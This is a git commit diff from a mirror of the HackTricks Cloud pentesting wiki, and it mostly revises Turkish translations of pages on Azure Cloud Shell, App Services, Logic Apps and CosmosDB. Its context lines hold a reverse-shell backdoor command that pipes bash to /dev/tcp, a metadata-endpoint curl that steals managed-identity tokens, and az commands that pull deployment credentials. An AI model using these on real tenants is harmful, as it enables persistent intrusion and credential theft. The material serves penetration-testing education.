mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 20:08:49 -07:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -77,6 +77,8 @@ def ref(matchobj):
|
||||
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||
sys.exit(1)
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
|
||||
@@ -398,8 +398,8 @@
|
||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||
- [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
|
||||
- [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
|
||||
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
|
||||
- [Az - Storage Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
|
||||
- [Az - VMs Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
|
||||
- [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
|
||||
|
||||
@@ -32,7 +32,7 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
|
||||
|
||||
Bu arka kapı, kullanıcı tarafından bulut kabuğu tamamlandıktan 5 dakika sonra bile komutları çalıştırabilir.
|
||||
|
||||
Ayrıca, örnek ayrıntıları ve token'lar için Azure'un meta veri hizmetini sorgulayın:
|
||||
Ayrıca, örnek ayrıntıları ve token'lar için Azure'un metadata hizmetini sorgulayın:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
|
||||
@@ -104,7 +104,7 @@ az logic integration-account batch-configuration create \
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
Bu izinle, bir Azure Logic Apps entegrasyon hesabında haritalar oluşturabilir veya değiştirebilirsiniz. Haritalar, verileri bir formatından diğerine dönüştürmek için kullanılır ve farklı sistemler ve uygulamalar arasında kesintisiz entegrasyon sağlar.
|
||||
Bu izinle, bir Azure Logic Apps entegrasyon hesabında haritalar oluşturabilir veya değiştirebilirsiniz. Haritalar, verileri bir formattan diğerine dönüştürmek için kullanılır ve farklı sistemler ve uygulamalar arasında kesintisiz entegrasyonu sağlar.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -174,7 +174,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/ima
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Temel Bilgileri
|
||||
## App Service Temel Bilgiler
|
||||
|
||||
Azure App Services, geliştiricilerin **web uygulamaları, mobil uygulama arka uçları ve API'leri sorunsuz bir şekilde oluşturmasını, dağıtmasını ve ölçeklendirmesini** sağlar. Birden fazla programlama dilini destekler ve geliştirilmiş işlevsellik ve yönetim için çeşitli Azure araçları ve hizmetleri ile entegre olur.
|
||||
Azure App Services, geliştiricilerin **web uygulamaları, mobil uygulama arka uçları ve API'leri sorunsuz bir şekilde oluşturmasına, dağıtmasına ve ölçeklendirmesine** olanak tanır. Birden fazla programlama dilini destekler ve geliştirilmiş işlevsellik ve yönetim için çeşitli Azure araçları ve hizmetleri ile entegre olur.
|
||||
|
||||
Her uygulama bir kumanda alanında çalışır, ancak izolasyon App Service planlarına bağlıdır:
|
||||
|
||||
@@ -13,7 +13,7 @@ Her uygulama bir kumanda alanında çalışır, ancak izolasyon App Service plan
|
||||
- İzole katmanlar, uygulamaların izolasyonunu artırarak **özel sanal ağlarda özel VM'lerde** çalışır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve bir **yönetim kimliği** kullanılıyorsa, bu kimliklerin **yetkilerini artırma** yeteneğine sahip olabilir.
|
||||
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve bir **yönetim kimliği** kullanılıyorsa, bu kimliklerin **yetkileri artırmasına** olanak tanıyabilir.
|
||||
|
||||
Uygulamaların bazı ilginç yapılandırmaları vardır:
|
||||
|
||||
@@ -23,7 +23,7 @@ Uygulamaların bazı ilginç yapılandırmaları vardır:
|
||||
- **Hata Ayıklama**: Etkinleştirildiğinde, yeterli izinlere sahip bir kullanıcı uygulamayı hata ayıklayabilir. Ancak, bu her 48 saatte bir otomatik olarak devre dışı bırakılır.
|
||||
- **Web Uygulaması + Veritabanı**: Web konsolu, bir veritabanı ile bir Uygulama oluşturmayı sağlar. Bu durumda kullanılacak veritabanını (SQLAzure, PostgreSQL, MySQL, MongoDB) seçmek mümkündür ve ayrıca bir Azure Cache for Redis oluşturmanıza da olanak tanır.
|
||||
- Veritabanı ve Redis için kimlik bilgilerini içeren URL, **appsettings** içinde saklanacaktır.
|
||||
- **Konteyner**: Konteynerin URL'sini ve ona erişim için kimlik bilgilerini belirterek App Service'e bir konteyner dağıtmak mümkündür.
|
||||
- **Konteyner**: Konteynerin URL'sini ve erişim kimlik bilgilerini belirterek App Service'e bir konteyner dağıtmak mümkündür.
|
||||
- **Mounts**: Azure Blob (Sadece Okuma) veya Azure Files olan Depolama hesaplarından 5 mount oluşturmak mümkündür. Yapılandırma, Depolama Hesabı üzerindeki erişim anahtarını saklayacaktır.
|
||||
|
||||
## Temel Kimlik Doğrulama
|
||||
@@ -52,42 +52,42 @@ Kudu'da bulabileceğiniz bazı ilginç uç noktalar:
|
||||
- `/Env`: Sistem, uygulama ayarları, çevre değişkenleri, bağlantı dizeleri ve HTTP başlıkları hakkında bilgi alır.
|
||||
- `/wwwroot/`: Web uygulamasının kök dizini. Buradan tüm dosyaları indirebilirsiniz.
|
||||
|
||||
Ayrıca, Kudu daha önce [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) adresinde açık kaynaklıydı, ancak proje kullanımdan kaldırıldı ve Azure'daki mevcut Kudu'nun eski ile karşılaştırıldığında **birçok şeyin değiştiği** görülebilir.
|
||||
Ayrıca, Kudu daha önce [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) adresinde açık kaynaklıydı, ancak proje kullanımdan kaldırıldı ve Azure'daki mevcut Kudu ile eski Kudu'nun davranışını karşılaştırdığınızda **birçok şeyin değiştiğini** görebilirsiniz.
|
||||
|
||||
## Kaynaklar
|
||||
|
||||
App Services, varsayılan olarak kodu bir zip dosyası olarak yüklemeye izin verir, ancak ayrıca bir üçüncü taraf hizmetine bağlanarak kodu oradan almanıza da olanak tanır.
|
||||
App Services, varsayılan olarak kodu bir zip dosyası olarak yüklemeye izin verir, ancak aynı zamanda bir üçüncü taraf hizmetine bağlanarak kodu oradan almanıza da olanak tanır.
|
||||
|
||||
- Şu anda desteklenen üçüncü taraf kaynaklar **Github** ve **Bitbucket**'dır.
|
||||
- Kimlik doğrulama tokenlerini almak için `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` komutunu çalıştırabilirsiniz.
|
||||
- Azure, varsayılan olarak her kod güncellendiğinde kodu App Service'e dağıtmak için bir **Github Action** ayarlayacaktır.
|
||||
- Azure varsayılan olarak, kod güncellendiğinde her seferinde App Service'e dağıtmak için bir **Github Action** ayarlayacaktır.
|
||||
- Ayrıca, oradan kod almak için bir **uzaktan git deposu** (kullanıcı adı ve şifre ile) belirtmek de mümkündür.
|
||||
- Uzaktan depo için kimlik bilgilerini almak için `az webapp deployment source show --name <app-name> --resource-group <res-group>` veya `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` komutunu çalıştırabilirsiniz.
|
||||
- Ayrıca, bir **Azure Deposu** kullanmak da mümkündür.
|
||||
- Bir **yerel git deposu** yapılandırmak da mümkündür.
|
||||
- Ayrıca bir **Azure Repository** kullanmak da mümkündür.
|
||||
- **Yerel bir git deposu** yapılandırmak da mümkündür.
|
||||
- Git deposunun URL'sini `az webapp deployment source show --name <app-name> --resource-group <res-group>` komutunu çalıştırarak alabilirsiniz ve bu, uygulamanın SCM URL'si olacaktır.
|
||||
- Klonlamak için `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır.
|
||||
- Klonlamak için, `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır.
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır, bu da dosya işleme, veri işleme veya planlı görevler gibi asenkron veya zaman alıcı işlemleri daha kolay hale getirir.
|
||||
Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin, web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır ve dosya işleme, veri işleme veya zamanlanmış görevler gibi asenkron veya zaman alıcı işlemleri daha kolay yönetmelerini sağlar.
|
||||
İki tür web job vardır:
|
||||
- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir. Sürekli işleme gerektiren görevler için idealdir. Ancak, uygulama çalışmayı durdurursa ve 20 dakikadır istek almadıysa, web job da duracaktır.
|
||||
- **Tetiklenmiş**: Talep üzerine veya bir programa dayalı olarak çalışır. Periyodik görevler, örneğin toplu veri güncellemeleri veya bakım rutinleri için en uygun olanıdır.
|
||||
- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir. Sürekli işleme gerektiren görevler için idealdir. Ancak, uygulama çalışmayı durdurursa ve son 20 dakikada bir istek almazsa, web job da duracaktır.
|
||||
- **Tetiklenmiş**: Talep üzerine veya bir programa göre çalışır. Periyodik görevler, örneğin toplu veri güncellemeleri veya bakım rutinleri için en uygun olanıdır.
|
||||
|
||||
Webjobs, ortamda **kod çalıştırmak** ve ekli yönetilen kimliklere **yetki artırmak** için kullanılabileceğinden, saldırganlar açısından oldukça ilginçtir.
|
||||
|
||||
Ayrıca, Webjobs tarafından üretilen **logları** kontrol etmek her zaman ilginçtir, çünkü bu loglar **hassas bilgiler** içerebilir.
|
||||
|
||||
## Slotlar
|
||||
## Slots
|
||||
|
||||
Azure App Service Slotları, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır.
|
||||
Azure App Service Slots, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır.
|
||||
|
||||
Ayrıca, belirli bir slota **trafik yüzdesi** yönlendirmek mümkündür, bu da A/B testi ve **arka kapı amaçları** için faydalıdır.
|
||||
Ayrıca, belirli bir slota **trafik yüzdesi** yönlendirmek mümkündür, bu da A/B testleri ve **arka kapı amaçları** için faydalıdır.
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini görebilirsiniz**.
|
||||
Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini göreceksiniz**.
|
||||
|
||||
Bu nedenle, her iki hizmet de aslında çoğunlukla **aynı yapılandırmalara, özelliklere ve az cli'deki seçeneklere** sahiptir, ancak bunları biraz farklı yapılandırabilirler (örneğin appsettings'in varsayılan değerleri veya Function uygulamalarında bir Depolama Hesabı kullanımı).
|
||||
|
||||
@@ -292,7 +292,7 @@ SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizinin
|
||||
|
||||
### Github'dan Python
|
||||
|
||||
Bu eğitim, önceki eğitim üzerine inşa edilmiştir ancak bir Github deposu kullanmaktadır.
|
||||
Bu eğitim, önceki eğitimle aynı temele dayanmakta ancak bir Github deposu kullanmaktadır.
|
||||
|
||||
1. Github hesabınızda msdocs-python-flask-webapp-quickstart deposunu fork edin.
|
||||
2. Azure'da yeni bir Python Web Uygulaması oluşturun.
|
||||
|
||||
@@ -1,58 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakika boyunca etkinlik olmadığında zaman aşımına uğrayan geçici bir oturum ana bilgisayarında çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
|
||||
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakika boyunca etkinlik olmadığında zaman aşımına uğrayan geçici, oturum başına bir sunucuda çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
|
||||
|
||||
Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde numaralandırma yoktur.
|
||||
Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde sayım yoktur.
|
||||
|
||||
### Ana Özellikler
|
||||
### Key Features
|
||||
|
||||
**Ortam**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposundaki tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir.
|
||||
**Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
|
||||
**$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya onsuz kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için bir depolama hesabı bağlayın; bu, **$HOME\clouddrive** olarak otomatik olarak eklenir ve **$HOME** dizininiz Azure File Share'de bir **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın.
|
||||
**Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını Compute, Network ve Storage gibi dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
|
||||
**Özel Araç Kurulumu**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar.
|
||||
**Environment**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposundaki tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir.
|
||||
**Preinstalled Tools**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
|
||||
**$HOME persistence**: Azure Cloud Shell'i ilk kez başlattığınızda, ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için bir depolama hesabı bağlayın; bu, **$HOME\clouddrive** olarak otomatik olarak eklenir ve **$HOME** dizininiz Azure File Share'de bir **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın.
|
||||
**Azure drive (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını Compute, Network ve Storage gibi dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
|
||||
**Custom Tool Installation**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar yükleyebilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Kalıcılık
|
||||
## Persistence
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
Bir hesap içinde, konteynerlerin mantıksal grupları olarak hizmet eden bir veya daha fazla veritabanı oluşturabilirsiniz. Bir veritabanı, kaynak yönetimi ve kullanıcı izinleri için bir sınır görevi görür. Veritabanları, konteynerleri arasında tahsis edilmiş verimliliği paylaşabilir veya bireysel konteynerlere özel verimlilik tahsis edebilir.
|
||||
|
||||
#### Konteynerler
|
||||
Veri depolamanın temel birimi konteynerdir; JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir.
|
||||
Veri depolamanın temel birimi konteynerdir, JSON belgelerini tutar ve verimli sorgulama için otomatik olarak indekslenir. Konteynerler elastik olarak ölçeklenebilir ve kullanıcı tanımlı bir bölüm anahtarı tarafından belirlenen bölümlere dağıtılır. Bölüm anahtarı, optimal performans ve eşit veri dağılımını sağlamak için kritik öneme sahiptir. Örneğin, bir konteyner müşteri verilerini depolayabilir ve "customerId" bölüm anahtarı olarak kullanılabilir.
|
||||
|
||||
#### Sayım
|
||||
|
||||
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
MongoDB'de, bir örnek içinde bir veya daha fazla veritabanı oluşturabilirsiniz. Her veritabanı, koleksiyonların mantıksal bir gruplamasını sağlar ve kaynak organizasyonu ve yönetimi için bir sınır oluşturur. Veritabanları, verileri mantıksal olarak ayırmaya ve yönetmeye yardımcı olur, örneğin farklı uygulamalar veya projeler için.
|
||||
|
||||
#### Koleksiyonlar
|
||||
MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtılmış bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir.
|
||||
MongoDB'deki veri depolamanın temel birimi koleksiyondur, bu koleksiyon belgeleri tutar ve verimli sorgulama ve esnek şema tasarımı için tasarlanmıştır. Koleksiyonlar elastik olarak ölçeklenebilir ve dağıtık bir yapı içinde birden fazla düğümde yüksek verimlilikte işlemleri destekleyebilir.
|
||||
|
||||
#### Sayım
|
||||
|
||||
@@ -339,7 +339,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## İstismar Sonrası
|
||||
## Sonrası İstismar
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
@@ -348,8 +348,10 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
## Yapılacaklar
|
||||
|
||||
* Buradaki DB'nin geri kalanı, tablolar, cassandra, gremlin...
|
||||
* İstismar sonrası "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bir göz atın çünkü burada bir yetki yükseltme olabilir.
|
||||
* Geri yüklemelere bir göz atın.
|
||||
